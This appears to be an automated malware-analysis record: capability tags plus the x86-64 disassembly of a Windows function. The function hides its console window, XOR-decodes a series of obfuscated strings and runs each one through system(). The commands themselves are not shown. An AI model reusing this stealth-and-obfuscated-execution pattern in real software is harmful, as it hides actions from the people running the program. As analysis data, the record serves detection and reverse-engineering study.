Function at 0x140001520
Capabilities:
Encode data using xor
Execute command
Hide graphical window

Disassembly:
mov qword [rsp + 8], rbx
push rbp
mov rbp, rsp
sub rsp, 0x40
call qword [sym.imp.KERNEL32.dll_GetConsoleWindow]
mov rcx, rax
xor edx, edx
call qword [sym.imp.USER32.dll_ShowWindow]
movdqa xmm0, xmmword [0x1400301b0]
xor ebx, ebx
movdqu xmmword [rbp - 0x20], xmm0
mov ecx, ebx
mov dword [rbp - 0x10], 0xddcdd4
mov byte [rbp - 0xc], 1
nop word [rax + rax]
lea eax, [rcx - 0x69]
xor byte [rbp + rcx - 0x20], al
inc rcx
cmp rcx, 0x13
jb 0x140001560
lea rcx, [rbp - 0x20]
mov byte [rbp - 0xc], bl
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
movdqa xmm0, xmmword [0x1400301b0]
mov rcx, rbx
movdqu xmmword [rbp - 0x20], xmm0
mov dword [rbp - 0x10], 0x8addcdd4
mov dword [rbp - 0xc], 0xcfd9cdc8
mov dword [rbp - 8], 0xd6dfc3
mov byte [rbp - 4], 1
nop word [rax + rax]
lea eax, [rcx - 0x69]
xor byte [rbp + rcx - 0x20], al
inc rcx
cmp rcx, 0x1b
jb 0x1400015b0
lea rcx, [rbp - 0x20]
mov byte [rbp - 4], bl
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
movdqa xmm0, xmmword [0x140030220]
mov rcx, rbx
movdqu xmmword [rbp - 0x20], xmm0
mov dword [rbp - 0x10], 0x100dcc2
nop dword [rax]
nop dword [rax + rax]
lea eax, [rcx - 0x69]
xor byte [rbp + rcx - 0x20], al
inc rcx
cmp rcx, 0x12
jb 0x1400015f0
lea rcx, [rbp - 0x20]
mov byte [rbp - 0xd], bl
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
movdqa xmm0, xmmword [0x1400301d0]
mov rcx, rbx
movdqu xmmword [rbp - 0x20], xmm0
mov dword [rbp - 0x10], 0xcfdb88cb
mov dword [rbp - 0xc], 0xd9c9d8
mov byte [rbp - 8], 1
nop
lea eax, [rcx - 0x69]
xor byte [rbp + rcx - 0x20], al
inc rcx
cmp rcx, 0x17
jb 0x140001630
lea rcx, [rbp - 0x20]
mov byte [rbp - 8], bl
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
movdqa xmm0, xmmword [0x1400301a0]
mov rcx, rbx
movdqu xmmword [rbp - 0x20], xmm0
mov dword [rbp - 0x10], 0xc5c4c6
mov byte [rbp - 0xc], 1
nop dword [rax + rax]
lea eax, [rcx - 0x69]
xor byte [rbp + rcx - 0x20], al
inc rcx
cmp rcx, 0x13
jb 0x140001670
lea rcx, [rbp - 0x20]
mov byte [rbp - 0xc], bl
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
movdqa xmm0, xmmword [0x140030200]
mov rcx, rbx
movdqu xmmword [rbp - 0x20], xmm0
mov dword [rbp - 0x10], 0xdeccdbc2
mov word [rbp - 0xc], 0x100
nop word [rax + rax]
lea eax, [rcx - 0x69]
xor byte [rbp + rcx - 0x20], al
inc rcx
cmp rcx, 0x14
jb 0x1400016b0
lea rcx, [rbp - 0x20]
mov byte [rbp - 0xb], bl
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
movdqa xmm0, xmmword [0x140030210]
mov rcx, rbx
movdqu xmmword [rbp - 0x20], xmm0
mov dword [rbp - 0x10], 0xdeccdbc2
mov word [rbp - 0xc], 0x100
nop word [rax + rax]
lea eax, [rcx - 0x69]
xor byte [rbp + rcx - 0x20], al
inc rcx
cmp rcx, 0x14
jb 0x1400016f0
lea rcx, [rbp - 0x20]
mov byte [rbp - 0xb], bl
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
movdqa xmm0, xmmword [0x1400301c0]
mov rcx, rbx
movdqu xmmword [rbp - 0x20], xmm0
mov dword [rbp - 0x10], 0x100cdd4
nop dword [rax]
nop dword [rax + rax]
lea eax, [rcx - 0x69]
xor byte [rbp + rcx - 0x20], al
inc rcx
cmp rcx, 0x12
jb 0x140001730
lea rcx, [rbp - 0x20]
mov byte [rbp - 0xd], bl
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
movdqa xmm0, xmmword [0x1400301f0]
mov rcx, rbx
movdqu xmmword [rbp - 0x20], xmm0
mov word [rbp - 0x10], 0x100
nop dword [rax]
nop word [rax + rax]
lea eax, [rcx - 0x69]
xor byte [rbp + rcx - 0x20], al
inc rcx
cmp rcx, 0x10
jb 0x140001770
lea rcx, [rbp - 0x20]
mov byte [rbp - 0xf], bl
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
movdqa xmm0, xmmword [0x1400301e0]
movdqu xmmword [rbp - 0x20], xmm0
mov dword [rbp - 0x10], 0xdac6c3
mov byte [rbp - 0xc], 1
nop word [rax + rax]
lea eax, [rbx - 0x69]
xor byte [rbp + rbx - 0x20], al
inc rbx
cmp rbx, 0x13
jb 0x1400017b0
lea rcx, [rbp - 0x20]
mov byte [rbp - 0xc], 0
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, [0x14000d9b8]
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
call qword [sym.imp.KERNEL32.dll_GetConsoleWindow]
mov rcx, rax
mov edx, 5
mov rbx, qword [rsp + 0x50]
add rsp, 0x40
pop rbp
jmp qword [sym.imp.USER32.dll_ShowWindow]